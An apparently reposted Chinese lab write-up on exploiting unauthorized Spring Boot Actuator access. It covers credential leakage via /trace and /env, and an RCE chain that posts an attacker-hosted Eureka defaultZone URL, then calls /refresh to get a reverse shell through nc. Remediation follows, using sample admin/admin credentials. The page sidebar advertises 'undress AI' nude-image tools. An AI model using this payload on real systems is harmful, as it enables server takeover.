目录
漏洞修复
首页 运维 安全 Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

May 23, 2023 am 08:56 AM
spring boot actuator getshell

前言

部门大佬在某src上挖到了这个漏洞,是一个比较老的洞了,我觉得有点意思,就动手在本地搭了个环境测试一下。

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。

Actuator是Spring Boot提供的一个功能模块,它可以用于自省和监控应用程序系统。The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:

Spring Boot Actuator从未授权访问到getshell的示例分析

利用思路

  1. 利用env加refresh进行getshell

  2. 利用mappings,寻找未授权接口

  3. 利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口。

  4. env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小。

  5. 老外说可以执行sql语句,目前没搞明白

漏洞发现

通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:

  1. 通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:

Spring Boot Actuator从未授权访问到getshell的示例分析

  1. 通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):访问一个随便构造的路径,比如:http:/172.26.2.24:8090/index,出现如下报错页面说明web网站使用了springboot框架(在实际中遇到的大多数都是此类情况)。

Spring Boot Actuator从未授权访问到getshell的示例分析

综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。

漏洞利用

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

Spring Boot Actuator从未授权访问到getshell的示例分析

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的,

Spring Boot Actuator从未授权访问到getshell的示例分析

/env端点配置不当造成RCE,

前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

比如测试前台json报错泄露包名就是使用netflix

Spring Boot Actuator从未授权访问到getshell的示例分析

需要以下两个包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

利用python3启动脚本,需要注意两个地方,一个为接收shell的ip和端口,另一个为我们脚本启动的端口,

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

Nc监听一个端口用以接收反弹shell,

写入配置,访问/env端点,抓包将get请求改为post请求,post内容为(该ip为脚本启动的机器的ip):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

然后再访问/refresh,抓包将get请求更改为post请求,post数据随意,

Spring Boot Actuator从未授权访问到getshell的示例分析

然后在我们nc的窗口可以看到成功反弹了一个shell回来。

Spring Boot Actuator从未授权访问到getshell的示例分析

漏洞修复

作为一名安全dog,不能只挖不修,在项目的pom.xml文件下引入spring-boot-starter-security依赖

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency></p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p>
<p>然后在application.properties中开启security功能,配置访问账号密码,重启应用即可弹出。</p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

禁用接口,则可设置如下(如禁用env接口):

endpoints.env.enabled= false

问题

老外说可以执行sql语句发现执行不了,可能方法没用对,截了个他的图,希望有执行成功的大佬分享下。

Spring Boot Actuator从未授权访问到getshell的示例分析

实际环境中,发现很多无refresh ,导致无法执行命令目前还没突破

以上是Spring Boot Actuator从未授权访问到getshell的示例分析的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

Rimworld Odyssey温度指南和Gravtech
1 个月前 By Jack chen
Rimworld Odyssey如何钓鱼
1 个月前 By Jack chen
我可以有两个支付帐户吗?
1 个月前 By 下次还敢
初学者的Rimworld指南:奥德赛
1 个月前 By Jack chen
PHP变量范围解释了
3 周前 By 百草

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Laravel 教程
1603
29
PHP教程
1506
276
如何使用Spring Boot构建大数据处理应用 如何使用Spring Boot构建大数据处理应用 Jun 23, 2023 am 09:07 AM

随着大数据时代的到来,越来越多的企业开始了解和认识到大数据的价值,并将其运用到商业中。而随之而来的问题就是如何处理这些大流量的数据。在这种情况下,大数据处理应用程序成为了每个企业必须考虑的事情。而对于开发人员而言,如何使用SpringBoot构建一个高效的大数据处理应用程序也是一个非常重要的问题。SpringBoot是一个非常流行的Java框架,它可以让

使用Spring Boot和JavaFX构建桌面应用程序 使用Spring Boot和JavaFX构建桌面应用程序 Jun 22, 2023 am 10:55 AM

随着技术的不断发展,我们现在可以使用不同的技术来构建桌面应用程序。而SpringBoot和JavaFX则是现在较为流行的选择之一。本文将重点介绍如何使用这两个框架来构建一个功能丰富的桌面应用程序。一、介绍SpringBoot和JavaFXSpringBoot是一个基于Spring框架的快速开发框架。它可以帮助开发者快速构建Web应用程序,同时提供一组开

Spring Boot中使用WebSocket实现推送和通知功能 Spring Boot中使用WebSocket实现推送和通知功能 Jun 23, 2023 am 11:47 AM

在现代Web应用程序开发中,WebSocket是实现即时通信和实时数据传输的常用技术。SpringBoot框架提供了集成WebSocket的支持,使得开发者可以非常方便地实现推送和通知功能。本文将介绍SpringBoot中如何使用WebSocket实现推送和通知功能,并演示一个简单的实时在线聊天室的实现。创建SpringBoot项目首先,我们需要创建一

Spring Boot+MyBatis+Atomikos+MySQL(附源码) Spring Boot+MyBatis+Atomikos+MySQL(附源码) Aug 15, 2023 pm 04:12 PM

我们在实际项目中,尽量规避分布式事务。但是,有些时候是真的需要做一些服务拆分从而会引出分布式事务问题。同时,分布式事务也是面试中市场被问,可以拿着这个案例练练手,面试就可以说上个123了。

如何利用Spring Boot构建区块链应用和智能合约 如何利用Spring Boot构建区块链应用和智能合约 Jun 22, 2023 am 09:33 AM

随着比特币等数字货币的兴起,区块链技术也逐渐成为热门话题。而智能合约,则可视为区块链技术的重要组成部分。SpringBoot作为一种流行的Java后端开发框架,也能够用来构建区块链应用和智能合约。本文将介绍如何利用SpringBoot搭建基于区块链技术的应用和智能合约。一、SpringBoot与区块链首先,我们需要了解一些与区块链相关的基本概念。区块链

使用Spring Boot和Apache ServiceMix构建ESB系统 使用Spring Boot和Apache ServiceMix构建ESB系统 Jun 22, 2023 pm 12:30 PM

随着现代企业越来越依赖于各种不同的应用程序和系统,企业集成变得愈发重要。企业服务总线(ESB)就是一种集成架构模式,通过将不同系统和应用程序连接在一起,提供通用的数据交换和消息路由服务,从而实现企业级应用程序集成。使用SpringBoot和ApacheServiceMix,我们可以轻松构建一个ESB系统,这篇文章将介绍如何实现。SpringBoot和A

Spring Boot的任务调度和定时任务实现方法 Spring Boot的任务调度和定时任务实现方法 Jun 22, 2023 pm 11:58 PM

SpringBoot是一款非常流行的Java开发框架,不仅具有快速开发的优势,而且还内置了很多实用的功能,其中,任务调度和定时任务就是其常用的功能之一。本文将探讨SpringBoot的任务调度和定时任务实现方法。一、SpringBoot任务调度简介SpringBoot任务调度(TaskScheduling)是指在特定的时间点或某个条件下,执行一些特

通过Spring Boot实现多语言支持和国际化应用 通过Spring Boot实现多语言支持和国际化应用 Jun 23, 2023 am 09:09 AM

随着全球化的发展,越来越多的网站和应用需要提供多语言支持和国际化功能。对于开发人员而言,实现这些功能并不是一件容易的事情,因为它需要考虑许多方面的问题,如语言的翻译、日期、时间和货币格式等等。但是,使用SpringBoot框架,我们可以轻松地实现多语言支持和国际化应用。首先,让我们了解一下SpringBoot提供的LocaleResolver接口。Loc

See all articles